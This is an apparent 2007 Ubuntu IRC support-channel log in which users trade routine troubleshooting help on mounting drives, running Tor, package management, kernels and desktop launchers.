[01:58] <mellow_bunny> BruceLeeds: are you trying to make an install list to pass on to someone else?
[01:59] <markoski> hello any body home
[01:59] <carras> ok, i ear stuff, but i was not sure
[01:59] <atomiku> How can I use tor? I'm trying to run it normally, and as root but it says: "[warn]  /var/lib/tor is not owned by this user (root, 0) but by debian-tor (109). Perhaps you are running Tor as the wrong user?"
[01:59] <con-man> is there a compiz channel on this network
[01:59] <BruceLeeds> mellow_bunny: exactly
[01:59] <IdleOne> #ubuntu-effects
[01:59] <con-man> no
[01:59] <IdleOne> conm^^^
[01:59] <con-man> no
[01:59] <con-man> I mean compiz
[02:00] <IdleOne> try #compiz
[02:00] <con-man> I did
[02:00] <grayman> well
[02:00] <IdleOne> then I guess there isnt
[02:00] <grayman> there is a beryl channel
[02:00] <BruceLeeds> mellow_bunny: but not with ALL my packages - only a few selected one - and I want to make comments in the list, so that one knows which packages is good for what
[02:00] <mellow_bunny> oh i see
[02:01] <diabolix> why does the logout prompt not show up when xcompmgr is running?
[02:01] <Kubuntulator> can some one help with a dbus error ?
[02:01] <BruceLeeds> mellow_bunny: I tried to write my own bash-script for that but now I have the idea to use a bit more dpgk and apt-get for that and to use their syntax in the file.
[02:01] <Layer8> rasputnik still there?
[02:01] <Kubuntulator> http://paste.ubuntu-nl.org/16239/
[02:02] <mellow_bunny> i see
[02:02] <sciboy> Yes!
[02:03] <reydelsillon> anyone with experience using vmware on kubuntu or ubuntu?
[02:03] <Angel-SL> hello. whats the command for mounting a NTFS drive on 6.10 LiveCD?
[02:03] <mellow_bunny> ok so the only failing point in this plan is the installing of the list
[02:03] <sciboy> Found the damn aperture size.
[02:04] <surviver> hello evry1, my question: whats a great burn program for burning dvd's /cd's images...
[02:04] <BruceLeeds> mellow_bunny: so now I have the command "dpgk --set-selection" to set my selection from the file, but I need to install it know as well!
[02:04] <Angel-SL> hello. whats the command for mounting a NTFS drive on 6.10 LiveCD??
[02:04] <mellow_bunny> right!
[02:05] <mellow_bunny> more research XD
[02:05] <BruceLeeds> mellow_bunny: so: how do I do that?
[02:05] <atomiku> How can I use tor? I'm trying to run it normally, and as root but it says: "[warn]  /var/lib/tor is not owned by this user (root, 0) but by debian-tor (109). Perhaps you are running Tor as the wrong user?"
[02:05] <mellow_bunny> i'll see if i can figure that out for you standby
[02:05] <BruceLeeds> mellow_bunny: I thought you guys know... ;-)
[02:05] <surviver> Angel-SL, for mounting type sudo mount -o rw /media/...
[02:05] <mellow_bunny> bahaha well there is a lot to know @_@
[02:06] <Angel-SL> surviver: NTFS?
[02:06] <BruceLeeds> mellow_bunny: do you mean me? ;-)
[02:06] <surviver> Angel-SL jup i have ntfs partitions :) and it works :p
[02:06] <BruceLeeds> mellow_bunny: with standby and bahaha?
[02:06] <Angel-SL> just that?
[02:06] <andres> #ubuntu-es
[02:06] <Angel-SL> okay....
[02:06] <Kubuntulator> http://paste.ubuntu-nl.org/16239/
[02:06] <Kubuntulator> can some one help with a dbus error ?
[02:07] <Kubuntulator> plz:-)
[02:07] <surviver> Angel-SL, well type sudo mount -o then type rw for read write or ro for read only after that the place where u ntfs partition stands
[02:07] <mjcocat> what time is Feisty going to be released?
[02:07] <dv_> this week
[02:07] <mellow_bunny> BruceLeeds: yes
[02:07] <surviver> Angel-SL, like this : mount -o rw /media/sda8
[02:08] <dv_> tomorrow, in  fact
[02:08] <daya>  hi all,
[02:08] <mjcocat> tomorrow for who?
[02:08] <daya> 500 Invalid PORT Command. how to recover this errro
[02:08] <daya> i got this in ftp
[02:09] <BruceLeeds> mellow_bunny: I have to go for lunch now. but I'll be back in 1,5 hours... if that's ok. Hope you are still there than. I'll do some research on my own as well :-) - don't worry ;-)
[02:09] <yag4mi> why does samba service keep stopping by itself?
[02:09] <yag4mi> is ti cause i restarted network service?
[02:09] <mellow_bunny> BruceLeeds: i believe that after using the set-selection you need to the run dpkg with the -O option and the -i option
[02:09] <mellow_bunny> but im not sure
[02:09] <grayman> there's a countdown on the front page on ubuntu.com
[02:09] <scarnia> hi boys, is there anyway to retrieve an specific version of a svn with svn command?
[02:09] <Angel-SL> surviver: its not in hda.. i get an error about fstab and mtab
[02:10] <BruceLeeds> mellow_bunny: ok, i'll have a look
[02:10] <Angel-SL> s/hda/dev
[02:10] <NewbieBaba> hey -  how can i set any screensaver file  as wallpaper ?
[02:10] <ekix> hi!
[02:10] <ekix> is there a usb flash stick install-image for ubuntu 6.10 server ?
[02:10] <surviver> Angel-SL, oke try this one then sudo mount -o rw,remount /routte
[02:10] <Lord_Maynoth_42> hello everyone :D
[02:10] <MatthewV> NewbieBaba, there is a guide on the forums for that, you should be able to find it witha quick search
[02:10] <Angel-SL> duh?
[02:10] <Lord_Maynoth_42> I found a bug with the 2.6.20 kernel..
[02:10] <Angel-SL> whats routte?
[02:11] <surviver> the rout is where ur hd.. is located
[02:11] <NewbieBaba> quick link to site please :)
[02:11] <NewbieBaba> !forum
[02:11] <ubotu> The Ubuntu forums can be found at http://www.ubuntuforums.org
[02:11] <NewbieBaba> <3
[02:11] <Angel-SL> so i do sudo mount -o ro /PATH;remount /PATH ?
[02:11] <Lord_Maynoth_42> I made a bug report on the kernel bugzilla  and they have helped track it down to 2.6.20RC5
[02:11] <surviver> Angel-SL, like this sudo mount -o rw,remount /path
[02:11] <Lord_Maynoth_42> but suggest I make new ubuntu livecd's with RC6 and up
[02:11] <Lord_Maynoth_42> how hard is this to do
[02:11] <Lord_Maynoth_42> ?
[02:12] <surviver> Angel-SL, copie paste it :) replace path with ur path
[02:12] <Angel-SL> so i do sudo mount -o ro,remount /PATH?
[02:12] <Angel-SL> okay
[02:12] <surviver> Angel-SL, yes but then u can read-only
[02:12] <atomiku> How can I use tor? I'm trying to run it normally, and as root but it says: "[warn]  /var/lib/tor is not owned by this user (root, 0) but by debian-tor (109). Perhaps you are running Tor as the wrong user?"
[02:12] <zak_> when i come back from hibernate, my sound doesn't work [apps freeze when they go to use it] ... is there anything i can do?
[02:14] <Angel-SL> surviver: no luck. same error
[02:14] <surviver> Angel-SL, are u sure the partition is mounted or unmouted?
[02:14] <Lord_Maynoth_42> can anyone point me to a guide to recompile liveCD's with custom kernel's
[02:14] <Angel-SL> i dunno.
[02:14] <Angel-SL> its just that hda and hda1 give errors
[02:14] <mrigns> is there some application like kompos (kde) avaiable for gnome/ubuntu?
[02:14] <Angel-SL> and hdc also
[02:14] <Angel-SL> media is empty
[02:15] <ubuntu> irc mindforge.net
[02:15] <surviver> Angel-SL, ive got the same version and over here it works great just sec let me see
[02:15] <Angel-SL> its a live cd, mate.
[02:15] <smartmn> !lamp
[02:15] <ubotu> LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[02:16] <william> Angel-SL: what type of HD?
[02:16] <ekix> hi again. is there any usb stick install-images for ubuntu 6.10 server available?
[02:16] <Angel-SL> william: laptop built-in NTFS.
[02:16] <smartmn> !mp3
[02:16] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[02:16] <surviver> Angel-SL, do this : sudo mount -o rw /media/hda1 .?
[02:16] <EnsignRedshirt> A history question: I installed Warty when it came out, but I don't recall it being a Live CD.  Was it?
[02:17] <Angel-SL> as i said, media is empty.
[02:17] <william> Angel-SL: sata or pata
[02:17] <Angel-SL> thats what nautilus says..
[02:17] <Angel-SL> SATA i think..
[02:17] <Angel-SL> wait i dunno
[02:17] <Angel-SL> nevermind give me both
[02:17] <surviver> its sata :)
[02:17] <Angel-SL> i'll try both
[02:17] <VSpike> angel: what version of live CD?
[02:17] <Angel-SL> 6.10
[02:18] <william> Angel-SL: sata would be sda ? I think.
[02:18] <Angel-SL> OKAY i'll try.
[02:20] <Angel-SL> william: same error about fstab and mtab
[02:22] <william> Angel-SL: from memory the livecd just finds your HD's although NTFS could be read only.
[02:22] <Shironeko> hi
[02:23] <Shironeko> I got a little issue
[02:23] <Shironeko> It's not important, but weird
[02:24] <Kubuntulator> W: Duplicate sources.list entry http://archive.ubuntu.com edgy/universe Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_edgy_universe_binary-i386_Packages)
[02:24] <Kubuntulator> fix that ?
[02:24] <Kubuntulator> how
[02:24] <Shironeko> whenever I open an administrative application, like Synaptic, the application opens but "opening administrative application" does still appear on the panel
[02:24] <Kubuntulator> grr stupid laptop keyboard
[02:24] <Shironeko> and it seems to keep loading....
[02:25] <atomiku> How can I use tor? I'm trying to run it normally, and as root but it says: "[warn]  /var/lib/tor is not owned by this user (root, 0) but by debian-tor (109). Perhaps you are running Tor as the wrong user?"
[02:25] <Shironeko> atomiku
[02:25] <liri> it seems like ubuntu dapper doesn't have php5-pdo-sqlite, why is that?
[02:26] <Shironeko> do you want to use it with a browser (firefox)?
[02:26] <atomiku> Shironeko: yup.
[02:26] <duda> how to discover my access point ip?
[02:26] <YingFan> hi, i have hald and udev installed and belong to plugdev group Where do i read about how to make an external usb device to be writeable by regular user?
[02:26] <Shironeko> here, Use this guide:
[02:26] <Shironeko> one sec
[02:26] <Mulix> How can i logon as the owner ???
[02:26] <duda> Mulix, you must set the root password
[02:26] <Mulix> to change menu.lst from /boot/grub/
[02:26] <Shironeko> Step by step, very easy:
[02:26] <Shironeko> http://tor.eff.org/docs/tor-doc-unix.html.en
[02:26] <Mulix> it's set
[02:27] <Shironeko> Mulix
[02:27] <Shironeko> gksudo nautilus
[02:27] <atomiku> Shironeko: I know this
[02:27] <atomiku> I cant start tor though
[02:27] <Shironeko> It should work atomiku
[02:27] <duda> Mulix, sudo gedit /boot/grub/menu.lst
[02:27] <william> Angel-SL: You could use fdisk to find out what you have.. BUT only use the p and q commands when your in there. fdisk /dev/hda  or fdisk /dev/sda
[02:27] <atomiku> Also, is Privoxy absolutely necessary?
[02:27] <Shironeko> If it says so....
[02:27] <mellow_bunny> crisis averted i got the package manager going again XD
[02:27] <Mulix> it works duda.. thank's
[02:27] <duda> :)
[02:27] <Shironeko> Can't tell what I don't know. I just followed that guide and it worked
[02:28] <duda> Does anyone knows how to discover my access point ip? i wanna ping the broadcast
[02:28] <Shironeko> ahm
[02:28] <Shironeko> one second duda
[02:28] <duda> Shironeko, im trying ping -b 255.255.255.255
[02:29] <Shironeko> are you connected by dchp or static IP adress?
[02:29] <Mulix> where can i find bootloader in ubuntu 6.10 ? at help it say's that i can find it in system tools.. but there's no system tools at applications
[02:30] <duda> Shironeko, now by dhcp with a router, and the access point is connected on the router, but can figure out the access point ip or even password, im going to reset both
[02:30] <IdleOne> [DNS]  Resolved duda (BHE200139128074.res-com.wayinternet.com.br) to address: 200.139.128.74
[02:30] <florent> bonjour tout le monde
[02:30] <moo^Min> salut
[02:30] <IdleOne> !fr | florent bonjour monsieur
[02:30] <ubotu> florent bonjour monsieur: Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[02:30] <o2rm1w> salut!
[02:31] <florent> oups
[02:31] <florent> :)
[02:31] <slyfox> Help. I have instreted an external hard drive via usb to my laptop. I formatted it to ext3 via gparted. Now, when I mount it manually or when it mounts automatically via plug and play, I do not have permission to write on it. help.
[02:32] <Shironeko> AH I know DUDA
[02:32] <Shironeko> :P
[02:32] <Shironeko> Ifconfig
[02:32] <meal3837> my dvd is acting weird, and i'm not sure if it's bolty hardware or buggy software
[02:33] <Shironeko> what's the problem meal?
[02:33] <meal3837> well, when i use dd or vobcopy, it gets about half way through and gives me some sort of i/o error
[02:33] <YingFan> slyfox i just asked the same :p
[02:33] <meal3837> however, when i use dvd::rip, it seems to get all the way through
[02:34] <idefix> is there like an ascii table in linux?
[02:34] <Lord_Maynoth_42> :C
[02:34] <slyfox> YingFan: any answers?
[02:34] <YingFan> not yet
[02:34] <engla> Is there any kind of alternative menu editor to alacarte? I really think alacarte has broken down (Using edgy), and I resort to editing files manually now
[02:34] <Lord_Maynoth_42> can anyone here help me... I am trying to isolate a bug in the 2.6.20 kernel
[02:34] <slyfox> YingFan: this is strange to what is going on.
[02:34] <Lord_Maynoth_42> I have never recompiled kernels before
[02:34] <engla> I have stuff like duplicate entries and new entries don't want to show up.
[02:34] <YingFan> slyfox i'm looking at udev rules, but not sure it's related
[02:35] <meal3837> 2.6.20 . . . for feisty?
[02:35] <slyfox> YingFan: have you searched the forums yet ?
[02:35] <YingFan> yeah, somewhat, but don't know the proper keywords to search
[02:35] <YingFan> tried the most obvious, but no go
[02:36] <IdleOne> meal3837: #ubuntu+1 for feisty support and yes to your question
[02:36] <meal3837> IdleOne: i was actually asking someone else if that was what they were working with, thanks, though
[02:37] <IdleOne> meal3837: oh hehe np
[02:37] <Shironeko> Well, that was good since I didn't know the answer
[02:37] <Shironeko> I'm a bit busy right now...
[02:37] <slyfox> YingFan: Run fdisk on the disk you are trying to mount
[02:37] <YingFan> and?
[02:37] <slyfox> YingFan: fdisk /dev/sdb1                       mine found errors.
[02:38] <slyfox> YingFan: The number of cylinders for this disk is set to 38912.
[02:38] <slyfox> There is nothing wrong with that, but this is larger than 1024,
[02:38] <slyfox> and could in certain setups cause problems with:
[02:38] <YingFan> no errors for me, just permission issues
[02:38] <YingFan> if it's a permanent device, one can just change the permissions on the mount point I guess
[02:39] <YingFan> but in this case, the mount point doesn't even exist until plugged in...
[02:39] <mellow_bunny> note to self NEVER touch the keyboard nor hit enter during an SSH upgrade of a system
[02:40] <idefix> how do you make the logical "not" character in linux?
[02:40] <slyfox> YingFan: I am looking through the forums now.
[02:40] <boubbin> how to upgrade to kde 3.5.6 ?
[02:40] <idefix> oh no, I've probably been ticking off people
[02:41] <mellow_bunny> second note to self.. always have SSH sessions logged
[02:41] <jhaig> mellow_bunny: Have you come across 'screen'?
[02:41] <mellow_bunny> screen?
[02:42] <mellow_bunny> it sounds like sarcasm
[02:42] <jhaig> mellow_bunny: It allows you to run a session and then put it in the background.
[02:42] <slyfox> boubbin: go to kde site, get the source link and put it into your .sources list , it is all written on kde site.
[02:42] <mellow_bunny> OH i see
[02:42] <mellow_bunny> no i havent
[02:42] <stranger> how do you make the logical "not" character in linux?
[02:42] <mellow_bunny> but that would be very handy
[02:42] <mellow_bunny> i'll look it up
[02:42] <jhaig> http://www.linuxjournal.com/article/6340
[02:42] <slyfox> YingFan: "Ok here is how I fixed it to work. I did not use the comand line. I went into the systems settings, then to administrator then into the disk and file settings. I then modified the people who could access it from Sudo to my ext..."   mayeb this ?
[02:42] <retarded> could anyone be so kind to explain the difference between alsa and oss audio ??
[02:43] <mellow_bunny> thanks jhaig
[02:43] <mellow_bunny> now the moment of truth.. restarting the system X_X
[02:43] <IdleOne> alsa = new oss = old . use alsa
[02:44] <retarded> thank you idle one
[02:44] <jhaig> mellow_bunny: Also look up 'script' if you want to log a session.
[02:44] <surviver> hy, i search a good dvd -cd burner, to burn images, to burn compilations ....
[02:44] <mellow_bunny> fantastic
[02:44] <retarded> hey wait a second IdleOne do i know you :p i have seen that nick somewhere else
[02:44] <IdleOne> retarded: not the best explanation but boils down to that
[02:44] <YingFan> slyfox eh? system settings , then what? advanced you mean, not administrator?
[02:44] <IdleOne> retarded: possibly, dont know
[02:44] <slyfox> YingFan: I cant find it either, got it from here http://ubuntuforums.org/showthread.php?t=406948&page=2&highlight=mount+formatted+hard+drive
[02:45] <surviver> ! burn dvd
[02:45] <ubotu> Sorry, I don't know anything about burn dvd - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:45] <surviver> !burndvd
[02:45] <ubotu> Sorry, I don't know anything about burndvd - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:45] <retarded> do you perhaps know what PB could mean ? if so say yes if not then your another idle one :p
[02:45] <IdleOne> !burn
[02:45] <ubotu> CD/DVD Burning software: K3b (KDE), gnomebaker, serpentine, graveman, Nautilus cd burner (Gnome), gtoaster, xcdroast, cdrecord (terminal-based). Burning .iso files: see https://help.ubuntu.com/community/BurningIsoHowto
[02:45] <surviver> ^^
[02:46] <stranger> the logical "not" character is not in the character map in linux!
[02:46] <IdleOne> retarded: besides Public Bathroom or Peanut Butter nope I dont
[02:46] <retarded> ok nvm then
[02:46] <retarded> got to be another iddle one
[02:46] <retarded> :d
[02:47] <YingFan> slyfox yes, but that's too specific, i mount many different pens, i cannot manually change permissions on each
[02:47] <YingFan> slyfox i'm looking for more general mount options
[02:47] <slyfox> YingFan: I still cannot find where is that disk and diles option ?
[02:47] <slyfox> *files
[02:47] <YingFan> slyfox system settings, then advanced tab
[02:48] <retarded> well thanks for the explanation .. i was kind of wondering why oss did not play sound when i was having another guest oss using sound , while alsa did .. i at first thought one would be using hardware and other software but i guess its tied to the alsa version beeing recent then :d
[02:48] <slyfox> YingFan: System - Adminsitrator -      there ?
[02:48] <YingFan> maybe it
[02:49] <YingFan> oops
[02:49] <YingFan> slyfox i'm using kde, so maybe different
[02:49] <ab__> where are program files inubuntu-user for 1 day
[02:49] <slyfox> YingFan: I have Ubuntu Feisty.
[02:49] <YingFan> slyfox me too, but if youve done nothing to change it, you have gnome not kde
[02:50] <atomiku> Also, is Privoxy absolutely necessary?
[02:50] <atomiku> oops
[02:50] <atomiku> I ment: How can I use tor? I'm trying to run it normally, and as root but it says: "[warn]  /var/lib/tor is not owned by this user (root, 0) but by debian-tor (109). Perhaps you are running Tor as the wrong user?"
[02:50] <michaelpo> i've downloaded ubuntu6.10, when i tried to install on my old p2 laptop, it cannot detect my external cdrom teac2405, i've searched the forum, nothing, i've tried damnsmalllinux, it detected, i think maybe kernal2.4 works on the cdrom? does older ubuntu based on kernel2.4? how do i download that old ubuntu?
[02:50] <mips> Why can't I install grub to the partition of sda3 like Debian allows you ?
[02:52] <jamesb_> what will the next development version of ubuntu be called - ie. feisty fawn +1?
[02:52] <IdleOne> !gusthank you
[02:52] <ubotu> Sorry, I don't know anything about gusthank you - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:52] <IdleOne> !gutsy
[02:52] <ubotu> Gutsy Gibbon is the code name for the next release of Ubuntu (7.10). See https://lists.ubuntu.com/archives/ubuntu-devel-announce/2007-April/000276.html and https://wiki.ubuntu.com/GutsyReleaseSchedule
[02:53] <mips> Any idea why I cannot install grub to (hd0,2) but only to (hd0) ???
[02:53] <jamesb_> ah - couldn't find it in the faq on http://www.ubuntu.com/aboutus/faq - maybe someone can update it?
[02:54] <slyfox> YingFan: http://bbs.archlinux.org/viewtopic.php?id=31967
[02:54] <jhaig> jamesb_: The current development version is still Feisty, until tomorrow.  Gibbon doesn't exist until then.  I guess that the faq will be updated soon.
[02:55] <ab__> whats with the sound-video card problems-thats the first thing i'd get right  if i wanted people to switch from windows
[02:55] <TooR4u> Hiii .. My Browser is crashing when i open some sites ... what might be the problem.. .?
[02:55] <TooR4u> how to fix that
[02:55] <TooR4u> ?
[02:55] <YingFan> slyfox maybe helps you, but this also assumes the device name is known, then of course one can add an entry in fstab
[02:55] <slyfox> YingFan: does not help me
[02:56] <slyfox> YingFan: I am going to stop ubuntu and log into gparted live cd and format my drive there, then log back in to ubuntu, maybe it will change soemthing
[02:56] <YingFan> ok, i need to go and does some assignments
[02:56] <YingFan> good luck
[02:57] <superatkin> TooR4U: this will help your browser crash problems http://grumpymole.blogspot.com/2006/10/ubuntu-firefox-flash-crash-this-fix.html
[02:57] <superatkin> TooR4U: I assume you are using firefox
[02:58] <retarded> is yingfan saying i can add for example a name to a "unkown device 233445:022222 for exemple" ??
[02:58] <TooR4u> superatkin,Yah ... thank u... i will check that
[02:59] <retarded> in fstab
[02:59] <NewbieBaba> i downloaded "xwinwrap-061227-8.1.src.rpm". but it wont let me to extract files in to /usr/bin/ how can i extract those files in Terminal window
[03:00] <michup> hi, ive problem with './lib/libc.so.6: version `GLIBC_2.4` not found (required blah blah...
[03:01] <michup> i tried to find it in synaptic but was pretty confused which package should i install
[03:01] <michup> ?
[03:01] <rambo3> @slap NewbieBaba
[03:01] <NewbieBaba> :(
[03:01] <miyako> hi, I'm trying to set up so I can tunnel web through a SOCKS proxy over ssh, I did "ssh -ND 3128 me@myhost" then went into mozilla, to the proxy settings, set manual proxy configuration, went to SOCKS proxy, entered localhost and 3128 - connection is timing out- are there any steps that I'm missing here - either extra software I need on the server, or something I'm screwing up on the client side?
[03:02] <rambo3> !info xwinwrap-src
[03:02] <ubotu> Package xwinwrap-src does not exist in edgy, edgy-backports, edgy-seveas
[03:02] <crdlb> NewbieBaba, you really shouldn't use rpm's, and that is a source rpm so it won't work without being compiled
[03:02] <NewbieBaba> so how can i use screensaver as wallpaper?
[03:03] <NewbieBaba> i googled it n it said that i need xwinwrap
[03:03] <michup> which package should i install to have glibc 2.4 library?
[03:03] <sadistic_> can someone help me a bit with Launchers @ pannels ?
[03:03] <rambo3> NewbieBaba, xwinwrap = terminal with babgroumd
[03:04] <sadistic_> any1 ?
[03:04] <NewbieBaba> hmm?
[03:04] <crdlb> NewbieBaba, yes that's the right package, but a source rpm isn't going to work
[03:04] <sadistic_> well
[03:04] <crdlb> xwinwrap will do that
[03:04] <warrior36> I use debion and I noticed the floppy don't work when I backup cbtracker and other apps backup how do I fix it to work
[03:04] <NewbieBaba> hmm how can i get xwinwrap then?
[03:05] <sadistic_> i want to make launchers for some the most used progs @ the panel but when i click on "create launcher" i dont know what to edit @ "command" line
[03:05] <kane77> michup, i'd say glibc-2.5.0-exp1 (but that is in feisty, it's possible that in edgy there is 2.4.0)
[03:05] <sadistic_> im using Xubuntu btw
[03:05] <tiraeth> hi
[03:05] <kane77> sadistic_, the command which run the program
[03:05] <sadistic_> for example ?
[03:05] <Thomas_Hygum> when i start ubuntu, i write my username and password and it just returns to the login screen again, what is wrong?
[03:06] <tiraeth> i have a problem with my gdm manager :/ it doesn't want to start in first attempt (i have to Ctrl+Alt+Del)
[03:06] <daya> ftp> dir
[03:06] <daya> 500 Invalid PORT Command.
[03:06] <daya> ftp: bind: Address already in use
[03:06] <sadistic_> i mean i dont know what kind of command that shoud be ..
[03:06] <daya> what is this error?
[03:06] <leal> hello.
[03:06] <kane77> sadistic_, what program it is?
[03:06] <leal> how can i mount a initrd on ubuntu?
[03:06] <rambo3> Thomas_Hygum, alt+ctrl+f1 and login in xdm and report errors
[03:06] <sadistic_> well want to make for example for the Terminal
[03:06] <sadistic_> ebrowser
[03:07] <sadistic_> thundar file manager
[03:07] <sadistic_> etc
[03:07] <pablasso> excuse my noobishness, but where do i have to put theme files (theme.xml and images) for use in gaim... err pidgim
[03:07] <NewbieBaba> crdlb, please help :/
[03:07] <Thomas_Hygum> ok but i have to restart this computer then because its multiboot
[03:07] <rambo3> !themes > pablasso
[03:07] <andres> #ubuntu-es
[03:07] <leal> i need to fix it, but i guess the initrd on ubuntu has a diferent approuch
[03:07] <kane77> sadistic_, so thunar is "Thunar" (check that out in console...)
[03:07] <Thomas_Hygum> how do i login to xdm
[03:08] <pablasso> rambo3: i have the themes.. i dont know how to install it :|
[03:08] <rambo3> pablasso, its drag and drop
[03:08] <michup> i cant find out anything about glibc 2.4 from synaptic
[03:08] <slyfox> How to I rename a hard disk ? say it automatically mounts at disk-1   I want it to be called MediaDrive   in windows I could easily give a name to the ahrd drive, how can I do it in Ubuntu ?
[03:08] <wick2o> good morning
[03:08] <rambo3> drag theme.tar.gz into change- theme  window
[03:08] <dsdg> halo, what document management system can i use that works under ubuntu, for architects sharing a lot of drawing files?
[03:09] <kane77> michup, do "aptitude search glibc"
[03:09] <variant> slyfox: how do you do it in windows then?
[03:09] <sadistic_> uhm kane77 i dont rly know how to check this ...
[03:09] <rambo3> Thomas_Hygum, Ctrl+Alt+F1
[03:09] <variant> dsdg: you could try alfresco.. it's quite a nice cms. bit bulky though and needs a fairly fast server
[03:09] <pablasso> rambo3: thats for gaim?
[03:09] <CapaH> I have a problem with Ubuntu Edgy crashing -- can anyone here help me on this? I go to screen savers and after browsing a few, it *utterly crashes* to the point I cannot even move the mouse --- ideas?
[03:09] <variant> dsdg: no ubuntu package for it though
[03:09] <rambo3> Thomas_Hygum, or kill X with ctl+alt +backspace
[03:09] <retarded> anyone using xara under ubuntu present ??
[03:09] <leal> Somebody??
[03:10] <rambo3> pablasso, no idea
[03:10] <variant> CapaH: using beryl/desktop effects and an nvidia card?
[03:10] <kane77> sadistic_, try starting writing (a command you would expect, eg for firefox start typing fire) and hit tab it will auto complete...
[03:10] <variant> retarded: yeah, me
[03:10] <michup> okay i dit that there is glibc-2.3.5 and 2.3.6
[03:10] <crdlb> NewbieBaba, install this deb: http://3v1n0.tuxfamily.org/pool/edgy/beryl-svn/xwinwrap_0.1+cvs20060209_i386.deb
[03:10] <slyfox> variant: go to disk management, right click on the disk you need and do change label
[03:10] <dsdg> variant, cool i have seen alfresco, havnt been able to get it working though, install, weird :) will keep trying,
[03:10] <dsdg> variant, have you used it before?
[03:10] <CapaH> variant: Using just Kubuntu --- no Beryl (same happens in Gnome/KDE) --- using an ATI Radeon X800 Graphics Card
[03:10] <retarded> is it pretty much the same as in windows variant ? or is it still a bit buggy ?
[03:10] <variant> dsdg: yeah, installed it for my employer
[03:10] <variant> CapaH: no idea then
[03:10] <NewbieBaba> does it matter where i put it ?
[03:10] <kane77> michup, what version are you running? edgy?
[03:11] <dsdg> variant, and were you happy with it?
[03:11] <michup> libg++2.8.1.3-glibc2.2 and libstdc++2.10-glibc2.2 was listed too
[03:11] <crdlb> NewbieBaba, install it
[03:11] <michup> yes its edgy
[03:11] <variant> dsdg: works nice on a quad cpu xeon server with mysql
[03:11] <CapaH> Does anyone have any suggestions as to what I can do in order to at least figure out *why* it is crashing?
[03:11] <variant> dsdg: so far.. not rolled it out yet. still in testing
[03:11] <wick2o> anyone have experiece installing ubuntu server dapper 6.06.1 on a dell poweredge 1950.  I'm having problems getting it to see the harddrives after the inital install
[03:11] <sadistic_> kane77 well worked out for thunar but not for ff ...
[03:11] <dsdg> variant, cool,
[03:11] <variant> dsdg: we will be replaceing sharepoint with it
[03:11] <kane77> sadistic_, what is ff?
[03:11] <dsdg> thanks for the advice,
[03:11] <variant> dsdg: as sharepoint is a pos
[03:11] <sadistic_> fire fox
[03:12] <dsdg> variant, lovely!
[03:12] <variant> dsdg: the default hsql database is very slow compared to mysql on alfresco
[03:12] <variant> dsdg: but mysql is easy to implement
[03:12] <kane77> sadistic_, firefox is just "firefox" (or "firefox-bin")
[03:12] <dsdg> valehru, yea i will use mysql,
[03:12] <reep> sadistic_: it's common to use fx for abbreviation of firefox (by mozilla)
[03:12] <dsdg> variant, are you using tomcat, the boxed version that comes with alfresco?
[03:13] <variant> dsdg: had a few problems with version 2 of alf.. we are working with 1.4 at the momment but might give 2.0 annother shot soon
[03:13] <variant> dsdg: yes
[03:13] <dsdg> variant, ok i will hit 2.0 will come back here and update you,
[03:13] <michup> kane77, some suggestions?
[03:14] <kane77> michup, in feisty there is glibc 2.5, so you can upgrade to feisty...
[03:15] <NewbieBaba> crdlb, tyvm man u kno i love u
[03:15] <NewbieBaba> :P
[03:15] <crdlb> np
[03:16] <|Kamen|> I am trying to install an eyetoy usb camera, however the only driver package I can find for it has coding errors that are beyond my ability to fix
[03:17] <spheard> hey, how do I stop kde starting @ boot
[03:17] <|Kamen|> does anyone know of a known good driver set for the eyetoy?
[03:17] <slyfox> what is the command to check disk for errors ?
[03:17] <sneharajr> i want to change my os runlevel
[03:18] <sneharajr> which file should i edit
[03:18] <sadistic_> kane77 i fugured out from where to search the icons but still dont know how to make the athor launchers
[03:18] <spheard> sneharajr: use ctrl and function eys
[03:18] <spheard> F1 to F6
[03:18] <dsdg> slyfox, fsck,
[03:18] <sadistic_> for example for terminal or whatever is it
[03:18] <reydelsillon> You will not be able to change your system settings in any way (install, remove or upgrade software), because another process is using the packaging system database (probably some other Adept application or apt-get or aptitude). Please close the other application before using this one.
[03:19] <reydelsillon> i enter so the apilcation list to kill the adept process but i cant, because i dont have permition.
[03:19] <spheard> reydelsillon:reboot! there is a problem with the lock file
[03:19] <kane77> sadistic_, I guess in xfce there is feature that gives you suggestion what program you want to create shortcut for.. (start typing in name field and it should provide you with options)
[03:19] <reydelsillon> anyone that can help me? as it is i cant add/uninstall apilcatiopns
[03:19] <sadistic_> kane77 this doesnt work ..
[03:19] <spheard> reydelsillon:REEBOOT!
[03:19] <slyfox> Can someone tell me if this is bad?
[03:19] <slyfox> The number of cylinders for this disk is set to 38912.
[03:19] <slyfox> There is nothing wrong with that, but this is larger than 1024,
[03:20] <reydelsillon> spheard. i already did reboot.
[03:20] <maddler> hello, I'm trying to upgrade to Feisty using adept-manager... but no Version Upgrade button... I followed instructions at https://help.ubuntu.com/community/FeistyUpgrades
[03:20] <slyfox> That is an ext3 clean disk
[03:20] <maddler> any clue?
[03:20] <variant> reydelsillon: in a terminal sudo killall adept
[03:20] <nilleso> slyfox, no that;s normal
[03:20] <variant> maddler: /join #ubuntu+1
[03:20] <slyfox> nilleso: ok, so I am ready to use the drive then? I formatted a new hard drive to ext3, want to use it now.
[03:20] <spheard> reydelsillon: delete /var/lib/dpkg/lock
[03:20] <sneharajr> spheard: no need to edit files to change the run level
[03:21] <spheard> sudo rm /var/lib/dpkg/lock
[03:21] <reep> slyfox: where do you want to mount it?
[03:21] <spheard> sneharajr: I know ctrl and F1 -F6
[03:21] <nilleso> slyfox, yep you've created partitions then?
[03:21] <reydelsillon> root@tulkas-desktop:~# delete /var/lib/dpkg/lock
[03:21] <reydelsillon> -bash: delete: command not found
[03:21] <sneharajr> no need to editing inttab
